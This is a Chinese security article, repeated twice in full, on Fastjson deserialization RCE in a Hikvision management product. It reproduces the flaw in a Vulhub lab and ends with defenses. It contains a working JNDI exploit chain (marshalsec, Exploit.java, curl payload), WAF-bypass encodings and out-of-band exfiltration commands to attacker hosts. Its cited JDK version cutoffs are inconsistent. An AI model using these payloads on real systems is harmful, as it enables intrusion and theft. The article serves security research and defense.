1. 项目概述从一次内部攻防演练说起前段时间团队内部组织了一次针对特定行业应用的渗透测试演练。目标系统是一个典型的安防监控管理平台这类系统往往承载着核心的物理安全数据一旦被攻破后果不堪设想。在信息搜集阶段我们通过指纹识别和端口扫描初步判断其后台基于Java开发并使用了Spring Boot框架。一个有趣的发现是在访问某些特定API接口时返回的JSON数据格式和报错信息隐隐指向了那个在Java安全史上“大名鼎鼎”的组件——Fastjson。Fastjson阿里巴巴开源的高性能JSON处理器因其极快的序列化/反序列化速度在国内Java开发者群体中应用极其广泛。然而成也萧何败也萧何其为了追求极致的性能和灵活性而设计的autoType等特性在过去几年里引爆了多个高危反序列化漏洞让无数系统暴露在远程代码执行RCE的风险之下。我们这次遇到的目标正是国内安防巨头海康威视的某款运行管理中心产品。当“海康威视”与“Fastjson反序列化漏洞”这两个关键词联系在一起时其背后的潜在风险与影响范围便不言而喻了。本文就将深入这次实战过程拆解漏洞原理、复现攻击链并分享在复杂企业环境中定位和验证此类漏洞的独特思路与避坑指南。2. 漏洞原理深度拆解为什么Fastjson成了“漏洞之王”要理解这个漏洞我们必须先抛开“漏洞”二字回到Fastjson设计之初的核心逻辑。Fastjson的核心功能是将Java对象Object转换成JSON字符串序列化以及将JSON字符串转换回Java对象反序列化。问题就出在这个“转换回来”的过程中。2.1 核心祸根autoType机制与type字段在标准的JSON反序列化中库需要知道目标数据的类型才能正确创建对象。Fastjson提供了一个“智能”的特性autoType。当开启autoType早期版本默认开启或通过特定配置、版本特性隐式支持时反序列化器允许JSON数据中通过一个特殊的type键来指定要还原的Java类的全限定名。例如一段攻击载荷可能如下所示{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://attacker.com:1389/Exploit, autoCommit: true }当Fastjson解析这段JSON时它会看到type然后尝试去实例化com.sun.rowset.JdbcRowSetImpl这个类并按照JSON中的键值对调用其对应的setter方法如setDataSourceName,setAutoCommit来填充属性。这里就埋下了第一个雷Fastjson在反序列化时为了将JSON的dataSourceName值赋给对象的dataSourceName属性它会去寻找setDataSourceName(String name)方法并调用它。这个过程是自动的、基于反射的。2.2 攻击链的拼图从Setter调用到JNDI注入单独的Setter调用并不可怕可怕的是某些类的Setter方法背后执行了危险的操作。JdbcRowSetImpl就是这样一个“危险类”。它的setDataSourceName()方法只是设置了内部的一个属性但它的setAutoCommit()方法被调用时会尝试使用之前设置的dataSourceName去建立数据库连接。关键在于dataSourceName可以不是一个普通的数据库连接字符串而是一个JNDIJava Naming and Directory Interface地址比如ldap://xxx或rmi://xxx。JNDI是Java提供的一个目录服务API它可以去远程加载对象。在特定版本的Java中尤其是Java 8u121、6u131、7u121之前JNDI的LDAP或RMI协议支持从远程服务器动态加载并实例化任意Java类。攻击链至此闭合攻击者搭建一个恶意的LDAP/RMI服务器并指向一个托管在HTTP服务器上的恶意Java类文件.class。受害者应用在反序列化攻击者构造的JSON时实例化JdbcRowSetImpl。触发调用setAutoCommit(true)触发JNDI查找。远程加载Java运行时根据dataSourceName中的LDAP地址连接到攻击者服务器。代码执行从攻击者服务器下载恶意类并实例化攻击者编写的静态代码块或构造函数中的命令随即执行。注意这条攻击链的成功依赖于两个关键条件一是目标环境中存在可利用的“危险类”如JdbcRowSetImpl,TemplatesImpl等二是Java运行环境版本较低未对JNDI远程加载做限制。在后期的Fastjson漏洞变种中攻击链变得更加复杂绕过了autoType黑名单并利用其他类库如commons-io,commons-collections中的链进行组合攻击但核心思路一脉相承控制反序列化过程中类的实例化与方法的调用顺序。2.3 海康威视场景下的特殊性在海康威视运行管理中心这类产品中Fastjson通常被用于前后端数据交互。漏洞触发点可能存在于用户可控的输入点如API请求参数、Cookie、HTTP头如X-Forwarded-For被直接以JSON形式解析。内部数据处理流程从数据库或缓存中读取的、先前由用户输入存储的JSON数据被再次反序列化。依赖组件调用其他第三方组件接收了恶意数据并传递给了Fastjson处理。安防系统通常需要与大量设备摄像头、NVR通信协议复杂数据格式多样这增加了输入面也提升了代码中不经意间引入不安全反序列化的概率。3. 实战环境搭建与漏洞复现郑重声明本节所有操作均在完全隔离的授权测试环境如VMware虚拟机构建的靶场中进行严禁对任何非授权系统进行测试。本文目的仅为技术研究与防御思路分享。3.1 环境准备与目标识别我们首先需要搭建一个模拟环境。由于直接获取海康威视官方软件并搭建完整环境较为复杂且可能涉及版权我们采用一种更通用的思路搭建一个存在已知Fastjson漏洞的Java Web应用靶场并模拟海康威视产品可能存在的接口特征。靶场选择使用vulhubgithub.com/vulhub/vulhub中的Fastjson 1.2.24/1.2.47漏洞环境。这是一个经典的、用于安全研究的Docker化漏洞环境。# 进入vulhub/fastjson/1.2.24-rce目录 cd vulhub/fastjson/1.2.24-rce # 启动环境 docker-compose up -d这个环境会启动一个在8080端口运行的Web应用其中包含一个存在漏洞的HTTP端点。指纹识别在实际测试中识别目标是否使用Fastjson是关键一步。方法一报错信息。向疑似接口发送畸形的JSON数据如{test:观察返回错误是否包含com.alibaba.fastjson.JSONException字样。这正是热词中提到的com.alibaba.fastjson.jsonexception: write javabean error这类信息的来源。方法二DNSLog探测。利用Fastjson在反序列化时会尝试解析java.net.InetAddress、java.net.URL等类属性的特性。构造一个包含DNSLog地址的Payload如果目标存在漏洞且触发了反序列化就会向我们的DNSLog平台发起请求从而被记录。{type:java.net.InetAddress,val:your-dnslog-subdomain.dnslog.cn}3.2 手工构造与利用攻击链确认漏洞存在后我们进入利用阶段。这里以vulhub的1.2.24环境为例演示从探测到RCE的全过程。搭建恶意RMI/LDAP服务我们需要两个工具marshalsec和exploit.java。编译marshalsec这是一个用于快速启动RMI/LDAP服务的工具。git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编写恶意Java类创建一个Exploit.java其静态代码块中包含要执行的命令例如弹出一个计算器Linux下可替换为touch /tmp/success。// Exploit.java public class Exploit { static { try { Runtime.getRuntime().exec(calc.exe); } catch (Exception e) { e.printStackTrace(); } } }编译并托管Exploit类javac Exploit.java python3 -m http.server 8888 # 在Exploit.class所在目录启动HTTP服务启动RMI服务使用marshalsec启动一个RMI服务并指向我们的HTTP服务。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-attacker-ip:8888/#Exploit 1099构造并发送Payload向目标漏洞端点发送精心构造的JSON数据。使用curl或Burp Suite重放请求。curl -X POST http://target-ip:8080/ -H Content-Type: application/json --data { b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://your-attacker-ip:1099/Exploit, autoCommit:true } }如果目标环境Java版本、类路径符合条件发送请求后将在目标服务器上看到计算器被弹出或/tmp/success文件被创建。3.3 针对海康威视产品的探测思路在实际对海康威视产品进行授权测试时不能直接套用公开Payload需要更细致的探测。定位端点通过爬虫、目录扫描或分析前端JS寻找接收JSON数据的API如/api/v1/device/config,/cmu/updateSetting等。安防系统常有配置下发、日志上报、设备管理等接口。判断Fastjson版本通过报错细节、时间盲注等方式判断Fastjson大致版本以选择合适的利用链。例如1.2.48前后绕过autoType黑名单的利用链截然不同。探测Class Path利用DNSLog或延迟判断如java.net.Inet4Address探测目标环境中是否存在特定依赖库如commons-io,commons-collections,rome等为使用更复杂的二次反序列化链做准备。绕过WAF/防护产品可能部署了WAF。需要尝试对Payload进行各种变形如Unicode转义\u0040\u0074\u0079\u0070\u0065代替type。十六进制转义\x40\x74\x79\x70\x65。添加无关字符在键名中添加多余空格、换行、注释/**/。多层嵌套将攻击载荷嵌套在多层无意义的JSON结构中。实操心得在真实企业内网测试时往往无法出网即目标服务器不能访问外部互联网。此时需要搭建内部JNDI服务并将恶意类文件托管在内网HTTP服务器上。同时命令执行的结果也需要通过DNSLog内网DNS、HTTP请求带出如curl http://attacker-internal-ip:port/$(whoami)或者写入特定文件再读取的方式来回显。这比互联网环境测试要繁琐得多。4. 漏洞挖掘与利用中的高级技巧与避坑指南仅仅复现公开漏洞是不够的。在实战中我们更需要的是挖掘未知的漏洞入口和适应特定环境的利用能力。4.1 寻找“非典型”的触发点Fastjson漏洞的触发不一定是一个明显的POST /api。以下是一些容易被忽略的入口Cookie解析有些框架会将Cookie值作为JSON解析。尝试在Cookie中插入Payload。HTTP头注入如X-Forwarded-For、User-Agent等头信息有时会被后端日志系统或某些组件解析并存储后续可能被反序列化。文件上传后的元数据处理上传文件时文件名、文件描述等JSON格式的元数据。WebSocket消息通过WebSocket传输的JSON数据。缓存数据库攻击者可能先向Redis等缓存中写入恶意JSON字符串当应用从缓存读取并反序列化时触发。4.2 利用链的挖掘与组合当公开的JdbcRowSetImpl链被防御或不存在时需要挖掘新的利用链。关注Fastjson自身的特性研究Fastjson在反序列化特定类如Throwable、AutoCloseable时的行为寻找可以触发方法调用的点。利用其他库的链二次反序列化这是后期Fastjson漏洞的主要利用方式。核心是找到一个类它在被Fastjson反序列化时其某个Setter或Getter方法中触发了另一个反序列化操作如ObjectInputStream.readObject。例如org.apache.commons.beanutils.BeanComparator的compare方法会调用PropertyUtils.getProperty可能触发getter方法。如果某个getter方法中包含了readObject调用就能串起一条链。工具辅助可以使用gadgetinspector等静态分析工具辅助分析目标应用依赖库中的潜在利用链。4.3 实战避坑指南Java版本之坑Java 8u121/7u131/6u141之后默认禁止了JNDI远程类加载。对于这些高版本单纯的JdbcRowSetImplLDAP/RMI链可能失效。需要寻找本地类路径中存在的利用链如利用TemplatesImpl配合getOutputProperties()或newTransformer()来加载字节码这不需要出网。依赖缺失之坑你的Payload依赖commons-collections 3.1但目标环境只有4.0链就无法使用。务必通过信息搜集报错、文件泄露或盲测确认依赖版本。不出网的回显问题内网环境下命令执行结果无法直接看到。解决方案延时判断使用ping -c 4 192.168.1.100或sleep 5通过请求响应时间判断命令是否执行。HTTP/DNS带外OOB如果内网有可控的另一个服务器可以让目标机器curl或nslookup你的服务器将结果附加在URL或域名中带出。写入文件再读取将命令结果写入Web目录下的一个文件然后通过Web访问该文件。例如whoami /usr/local/tomcat/webapps/ROOT/result.txt。WAF/IDS绕过除了上述编码变形还可以分块传输使用HTTP分块传输编码Transfer-Encoding: chunked来拆分Payload可能绕过一些基于正则的检测。利用协议特性将Payload放在POST数据的末尾或者夹杂大量无用数据。5. 防御视角如何构建针对Fastjson反序列化的防线作为防御方或开发者了解攻击是为了更好地防御。以下是从代码到运维的全链路防御建议。5.1 开发阶段安全编码与配置升级升级升级这是最直接有效的方法。将Fastjson升级到最新安全版本如1.2.83及以上。新版本不仅修复了已知漏洞还引入了更严格的autoType检查机制。关闭autoType如果因兼容性问题无法升级务必在代码中显式关闭autoType。ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 或者使用SafeMode这是最严格的方式1.2.68 ParserConfig.getGlobalInstance().setSafeMode(true);使用白名单如果业务必须使用autoType则必须启用白名单机制只允许反序列化可信的类。ParserConfig.getGlobalInstance().addAccept(com.yourcompany.安全模型.);避免反序列化不可信数据从根本上杜绝风险。不要使用JSON.parseObject()或JSON.parse()去解析来自前端请求参数、外部接口、数据库存储的不可信JSON字符串。对于配置类数据考虑使用其他更安全的格式如Properties或进行严格的校验。使用替代库评估使用其他JSON库如Jackson或Gson。虽然它们也非绝对安全历史上也有反序列化问题但其设计相对保守风险敞口通常小于Fastjson。注意更换库需要充分测试确保API兼容性和性能达标。5.2 运维与安全防护阶段WAF/IPS规则在网关层面部署规则拦截包含type、JdbcRowSetImpl、TemplatesImpl等关键字的请求。但要注意攻击者的绕过手法规则需要持续更新。RASP运行时应用自我保护在应用内部部署RASP探针可以更精准地监控Java反序列化行为在恶意类被加载或危险方法如Runtime.exec被调用时进行实时阻断。这对防御未知利用链特别有效。最小化依赖与攻击面定期清理项目中无用的Jar包特别是那些已知存在危险类的库如旧版本的commons-collections,commons-beanutils等。使用dependency-check等工具进行SCA软件成分分析。网络层面限制严格限制服务器出网流量。即使存在漏洞如果无法连接外部的LDAP/RMI服务器许多攻击链也会失效。同时监控服务器异常的出网连接请求如向陌生IP的1389、1099端口发起连接。Java环境加固升级JRE/JDK到最新版本修复已知的JNDI注入等问题。设置JVM系统属性com.sun.jndi.ldap.object.trustURLCodebasefalse和com.sun.jndi.rmi.object.trustURLCodebasefalse彻底禁用远程类加载。5.3 安全测试与监控常态化漏洞扫描将Fastjson等组件的已知漏洞CVE如CVE-2017-18349, CVE-2020-8841等纳入SAST静态扫描和DAST动态扫描的规则库在开发流水线和定期巡检中自动检测。异常日志监控在应用日志中监控com.alibaba.fastjson.JSONException特别是包含autoType not support或parse error的异常。这些可能是攻击尝试的痕迹。同时监控JVM抛出的ClassNotFoundException尝试加载奇怪类名或网络连接异常。蜜罐与诱饵在内部网络部署伪装成海康威视管理系统的蜜罐记录攻击者的Payload和行为用于威胁情报收集和攻击预警。海康威视运行管理中心Fastjson反序列化漏洞的实战解析不仅仅是一个特定漏洞的复现过程它更是一个理解Java反序列化漏洞攻防的经典案例。从漏洞原理的深入理解到在复杂企业环境中的灵活探测与利用再到构建多层次、纵深的防御体系每一个环节都考验着安全人员的技术深度和实战思维。对于企业而言面对此类潜伏在广泛使用的第三方组件中的高危漏洞建立从“供应链安全管控”到“运行时威胁检测”的完整安全闭环远比亡羊补牢式的应急响应更为重要。而在日常开发中对看似强大的工具库保持一份审慎坚持安全编码规范定期更新组件才是守住安全底线的根本。
Fastjson反序列化漏洞实战:从原理到海康威视安防系统攻防解析
1. 项目概述从一次内部攻防演练说起前段时间团队内部组织了一次针对特定行业应用的渗透测试演练。目标系统是一个典型的安防监控管理平台这类系统往往承载着核心的物理安全数据一旦被攻破后果不堪设想。在信息搜集阶段我们通过指纹识别和端口扫描初步判断其后台基于Java开发并使用了Spring Boot框架。一个有趣的发现是在访问某些特定API接口时返回的JSON数据格式和报错信息隐隐指向了那个在Java安全史上“大名鼎鼎”的组件——Fastjson。Fastjson阿里巴巴开源的高性能JSON处理器因其极快的序列化/反序列化速度在国内Java开发者群体中应用极其广泛。然而成也萧何败也萧何其为了追求极致的性能和灵活性而设计的autoType等特性在过去几年里引爆了多个高危反序列化漏洞让无数系统暴露在远程代码执行RCE的风险之下。我们这次遇到的目标正是国内安防巨头海康威视的某款运行管理中心产品。当“海康威视”与“Fastjson反序列化漏洞”这两个关键词联系在一起时其背后的潜在风险与影响范围便不言而喻了。本文就将深入这次实战过程拆解漏洞原理、复现攻击链并分享在复杂企业环境中定位和验证此类漏洞的独特思路与避坑指南。2. 漏洞原理深度拆解为什么Fastjson成了“漏洞之王”要理解这个漏洞我们必须先抛开“漏洞”二字回到Fastjson设计之初的核心逻辑。Fastjson的核心功能是将Java对象Object转换成JSON字符串序列化以及将JSON字符串转换回Java对象反序列化。问题就出在这个“转换回来”的过程中。2.1 核心祸根autoType机制与type字段在标准的JSON反序列化中库需要知道目标数据的类型才能正确创建对象。Fastjson提供了一个“智能”的特性autoType。当开启autoType早期版本默认开启或通过特定配置、版本特性隐式支持时反序列化器允许JSON数据中通过一个特殊的type键来指定要还原的Java类的全限定名。例如一段攻击载荷可能如下所示{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://attacker.com:1389/Exploit, autoCommit: true }当Fastjson解析这段JSON时它会看到type然后尝试去实例化com.sun.rowset.JdbcRowSetImpl这个类并按照JSON中的键值对调用其对应的setter方法如setDataSourceName,setAutoCommit来填充属性。这里就埋下了第一个雷Fastjson在反序列化时为了将JSON的dataSourceName值赋给对象的dataSourceName属性它会去寻找setDataSourceName(String name)方法并调用它。这个过程是自动的、基于反射的。2.2 攻击链的拼图从Setter调用到JNDI注入单独的Setter调用并不可怕可怕的是某些类的Setter方法背后执行了危险的操作。JdbcRowSetImpl就是这样一个“危险类”。它的setDataSourceName()方法只是设置了内部的一个属性但它的setAutoCommit()方法被调用时会尝试使用之前设置的dataSourceName去建立数据库连接。关键在于dataSourceName可以不是一个普通的数据库连接字符串而是一个JNDIJava Naming and Directory Interface地址比如ldap://xxx或rmi://xxx。JNDI是Java提供的一个目录服务API它可以去远程加载对象。在特定版本的Java中尤其是Java 8u121、6u131、7u121之前JNDI的LDAP或RMI协议支持从远程服务器动态加载并实例化任意Java类。攻击链至此闭合攻击者搭建一个恶意的LDAP/RMI服务器并指向一个托管在HTTP服务器上的恶意Java类文件.class。受害者应用在反序列化攻击者构造的JSON时实例化JdbcRowSetImpl。触发调用setAutoCommit(true)触发JNDI查找。远程加载Java运行时根据dataSourceName中的LDAP地址连接到攻击者服务器。代码执行从攻击者服务器下载恶意类并实例化攻击者编写的静态代码块或构造函数中的命令随即执行。注意这条攻击链的成功依赖于两个关键条件一是目标环境中存在可利用的“危险类”如JdbcRowSetImpl,TemplatesImpl等二是Java运行环境版本较低未对JNDI远程加载做限制。在后期的Fastjson漏洞变种中攻击链变得更加复杂绕过了autoType黑名单并利用其他类库如commons-io,commons-collections中的链进行组合攻击但核心思路一脉相承控制反序列化过程中类的实例化与方法的调用顺序。2.3 海康威视场景下的特殊性在海康威视运行管理中心这类产品中Fastjson通常被用于前后端数据交互。漏洞触发点可能存在于用户可控的输入点如API请求参数、Cookie、HTTP头如X-Forwarded-For被直接以JSON形式解析。内部数据处理流程从数据库或缓存中读取的、先前由用户输入存储的JSON数据被再次反序列化。依赖组件调用其他第三方组件接收了恶意数据并传递给了Fastjson处理。安防系统通常需要与大量设备摄像头、NVR通信协议复杂数据格式多样这增加了输入面也提升了代码中不经意间引入不安全反序列化的概率。3. 实战环境搭建与漏洞复现郑重声明本节所有操作均在完全隔离的授权测试环境如VMware虚拟机构建的靶场中进行严禁对任何非授权系统进行测试。本文目的仅为技术研究与防御思路分享。3.1 环境准备与目标识别我们首先需要搭建一个模拟环境。由于直接获取海康威视官方软件并搭建完整环境较为复杂且可能涉及版权我们采用一种更通用的思路搭建一个存在已知Fastjson漏洞的Java Web应用靶场并模拟海康威视产品可能存在的接口特征。靶场选择使用vulhubgithub.com/vulhub/vulhub中的Fastjson 1.2.24/1.2.47漏洞环境。这是一个经典的、用于安全研究的Docker化漏洞环境。# 进入vulhub/fastjson/1.2.24-rce目录 cd vulhub/fastjson/1.2.24-rce # 启动环境 docker-compose up -d这个环境会启动一个在8080端口运行的Web应用其中包含一个存在漏洞的HTTP端点。指纹识别在实际测试中识别目标是否使用Fastjson是关键一步。方法一报错信息。向疑似接口发送畸形的JSON数据如{test:观察返回错误是否包含com.alibaba.fastjson.JSONException字样。这正是热词中提到的com.alibaba.fastjson.jsonexception: write javabean error这类信息的来源。方法二DNSLog探测。利用Fastjson在反序列化时会尝试解析java.net.InetAddress、java.net.URL等类属性的特性。构造一个包含DNSLog地址的Payload如果目标存在漏洞且触发了反序列化就会向我们的DNSLog平台发起请求从而被记录。{type:java.net.InetAddress,val:your-dnslog-subdomain.dnslog.cn}3.2 手工构造与利用攻击链确认漏洞存在后我们进入利用阶段。这里以vulhub的1.2.24环境为例演示从探测到RCE的全过程。搭建恶意RMI/LDAP服务我们需要两个工具marshalsec和exploit.java。编译marshalsec这是一个用于快速启动RMI/LDAP服务的工具。git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编写恶意Java类创建一个Exploit.java其静态代码块中包含要执行的命令例如弹出一个计算器Linux下可替换为touch /tmp/success。// Exploit.java public class Exploit { static { try { Runtime.getRuntime().exec(calc.exe); } catch (Exception e) { e.printStackTrace(); } } }编译并托管Exploit类javac Exploit.java python3 -m http.server 8888 # 在Exploit.class所在目录启动HTTP服务启动RMI服务使用marshalsec启动一个RMI服务并指向我们的HTTP服务。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-attacker-ip:8888/#Exploit 1099构造并发送Payload向目标漏洞端点发送精心构造的JSON数据。使用curl或Burp Suite重放请求。curl -X POST http://target-ip:8080/ -H Content-Type: application/json --data { b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://your-attacker-ip:1099/Exploit, autoCommit:true } }如果目标环境Java版本、类路径符合条件发送请求后将在目标服务器上看到计算器被弹出或/tmp/success文件被创建。3.3 针对海康威视产品的探测思路在实际对海康威视产品进行授权测试时不能直接套用公开Payload需要更细致的探测。定位端点通过爬虫、目录扫描或分析前端JS寻找接收JSON数据的API如/api/v1/device/config,/cmu/updateSetting等。安防系统常有配置下发、日志上报、设备管理等接口。判断Fastjson版本通过报错细节、时间盲注等方式判断Fastjson大致版本以选择合适的利用链。例如1.2.48前后绕过autoType黑名单的利用链截然不同。探测Class Path利用DNSLog或延迟判断如java.net.Inet4Address探测目标环境中是否存在特定依赖库如commons-io,commons-collections,rome等为使用更复杂的二次反序列化链做准备。绕过WAF/防护产品可能部署了WAF。需要尝试对Payload进行各种变形如Unicode转义\u0040\u0074\u0079\u0070\u0065代替type。十六进制转义\x40\x74\x79\x70\x65。添加无关字符在键名中添加多余空格、换行、注释/**/。多层嵌套将攻击载荷嵌套在多层无意义的JSON结构中。实操心得在真实企业内网测试时往往无法出网即目标服务器不能访问外部互联网。此时需要搭建内部JNDI服务并将恶意类文件托管在内网HTTP服务器上。同时命令执行的结果也需要通过DNSLog内网DNS、HTTP请求带出如curl http://attacker-internal-ip:port/$(whoami)或者写入特定文件再读取的方式来回显。这比互联网环境测试要繁琐得多。4. 漏洞挖掘与利用中的高级技巧与避坑指南仅仅复现公开漏洞是不够的。在实战中我们更需要的是挖掘未知的漏洞入口和适应特定环境的利用能力。4.1 寻找“非典型”的触发点Fastjson漏洞的触发不一定是一个明显的POST /api。以下是一些容易被忽略的入口Cookie解析有些框架会将Cookie值作为JSON解析。尝试在Cookie中插入Payload。HTTP头注入如X-Forwarded-For、User-Agent等头信息有时会被后端日志系统或某些组件解析并存储后续可能被反序列化。文件上传后的元数据处理上传文件时文件名、文件描述等JSON格式的元数据。WebSocket消息通过WebSocket传输的JSON数据。缓存数据库攻击者可能先向Redis等缓存中写入恶意JSON字符串当应用从缓存读取并反序列化时触发。4.2 利用链的挖掘与组合当公开的JdbcRowSetImpl链被防御或不存在时需要挖掘新的利用链。关注Fastjson自身的特性研究Fastjson在反序列化特定类如Throwable、AutoCloseable时的行为寻找可以触发方法调用的点。利用其他库的链二次反序列化这是后期Fastjson漏洞的主要利用方式。核心是找到一个类它在被Fastjson反序列化时其某个Setter或Getter方法中触发了另一个反序列化操作如ObjectInputStream.readObject。例如org.apache.commons.beanutils.BeanComparator的compare方法会调用PropertyUtils.getProperty可能触发getter方法。如果某个getter方法中包含了readObject调用就能串起一条链。工具辅助可以使用gadgetinspector等静态分析工具辅助分析目标应用依赖库中的潜在利用链。4.3 实战避坑指南Java版本之坑Java 8u121/7u131/6u141之后默认禁止了JNDI远程类加载。对于这些高版本单纯的JdbcRowSetImplLDAP/RMI链可能失效。需要寻找本地类路径中存在的利用链如利用TemplatesImpl配合getOutputProperties()或newTransformer()来加载字节码这不需要出网。依赖缺失之坑你的Payload依赖commons-collections 3.1但目标环境只有4.0链就无法使用。务必通过信息搜集报错、文件泄露或盲测确认依赖版本。不出网的回显问题内网环境下命令执行结果无法直接看到。解决方案延时判断使用ping -c 4 192.168.1.100或sleep 5通过请求响应时间判断命令是否执行。HTTP/DNS带外OOB如果内网有可控的另一个服务器可以让目标机器curl或nslookup你的服务器将结果附加在URL或域名中带出。写入文件再读取将命令结果写入Web目录下的一个文件然后通过Web访问该文件。例如whoami /usr/local/tomcat/webapps/ROOT/result.txt。WAF/IDS绕过除了上述编码变形还可以分块传输使用HTTP分块传输编码Transfer-Encoding: chunked来拆分Payload可能绕过一些基于正则的检测。利用协议特性将Payload放在POST数据的末尾或者夹杂大量无用数据。5. 防御视角如何构建针对Fastjson反序列化的防线作为防御方或开发者了解攻击是为了更好地防御。以下是从代码到运维的全链路防御建议。5.1 开发阶段安全编码与配置升级升级升级这是最直接有效的方法。将Fastjson升级到最新安全版本如1.2.83及以上。新版本不仅修复了已知漏洞还引入了更严格的autoType检查机制。关闭autoType如果因兼容性问题无法升级务必在代码中显式关闭autoType。ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 或者使用SafeMode这是最严格的方式1.2.68 ParserConfig.getGlobalInstance().setSafeMode(true);使用白名单如果业务必须使用autoType则必须启用白名单机制只允许反序列化可信的类。ParserConfig.getGlobalInstance().addAccept(com.yourcompany.安全模型.);避免反序列化不可信数据从根本上杜绝风险。不要使用JSON.parseObject()或JSON.parse()去解析来自前端请求参数、外部接口、数据库存储的不可信JSON字符串。对于配置类数据考虑使用其他更安全的格式如Properties或进行严格的校验。使用替代库评估使用其他JSON库如Jackson或Gson。虽然它们也非绝对安全历史上也有反序列化问题但其设计相对保守风险敞口通常小于Fastjson。注意更换库需要充分测试确保API兼容性和性能达标。5.2 运维与安全防护阶段WAF/IPS规则在网关层面部署规则拦截包含type、JdbcRowSetImpl、TemplatesImpl等关键字的请求。但要注意攻击者的绕过手法规则需要持续更新。RASP运行时应用自我保护在应用内部部署RASP探针可以更精准地监控Java反序列化行为在恶意类被加载或危险方法如Runtime.exec被调用时进行实时阻断。这对防御未知利用链特别有效。最小化依赖与攻击面定期清理项目中无用的Jar包特别是那些已知存在危险类的库如旧版本的commons-collections,commons-beanutils等。使用dependency-check等工具进行SCA软件成分分析。网络层面限制严格限制服务器出网流量。即使存在漏洞如果无法连接外部的LDAP/RMI服务器许多攻击链也会失效。同时监控服务器异常的出网连接请求如向陌生IP的1389、1099端口发起连接。Java环境加固升级JRE/JDK到最新版本修复已知的JNDI注入等问题。设置JVM系统属性com.sun.jndi.ldap.object.trustURLCodebasefalse和com.sun.jndi.rmi.object.trustURLCodebasefalse彻底禁用远程类加载。5.3 安全测试与监控常态化漏洞扫描将Fastjson等组件的已知漏洞CVE如CVE-2017-18349, CVE-2020-8841等纳入SAST静态扫描和DAST动态扫描的规则库在开发流水线和定期巡检中自动检测。异常日志监控在应用日志中监控com.alibaba.fastjson.JSONException特别是包含autoType not support或parse error的异常。这些可能是攻击尝试的痕迹。同时监控JVM抛出的ClassNotFoundException尝试加载奇怪类名或网络连接异常。蜜罐与诱饵在内部网络部署伪装成海康威视管理系统的蜜罐记录攻击者的Payload和行为用于威胁情报收集和攻击预警。海康威视运行管理中心Fastjson反序列化漏洞的实战解析不仅仅是一个特定漏洞的复现过程它更是一个理解Java反序列化漏洞攻防的经典案例。从漏洞原理的深入理解到在复杂企业环境中的灵活探测与利用再到构建多层次、纵深的防御体系每一个环节都考验着安全人员的技术深度和实战思维。对于企业而言面对此类潜伏在广泛使用的第三方组件中的高危漏洞建立从“供应链安全管控”到“运行时威胁检测”的完整安全闭环远比亡羊补牢式的应急响应更为重要。而在日常开发中对看似强大的工具库保持一份审慎坚持安全编码规范定期更新组件才是守住安全底线的根本。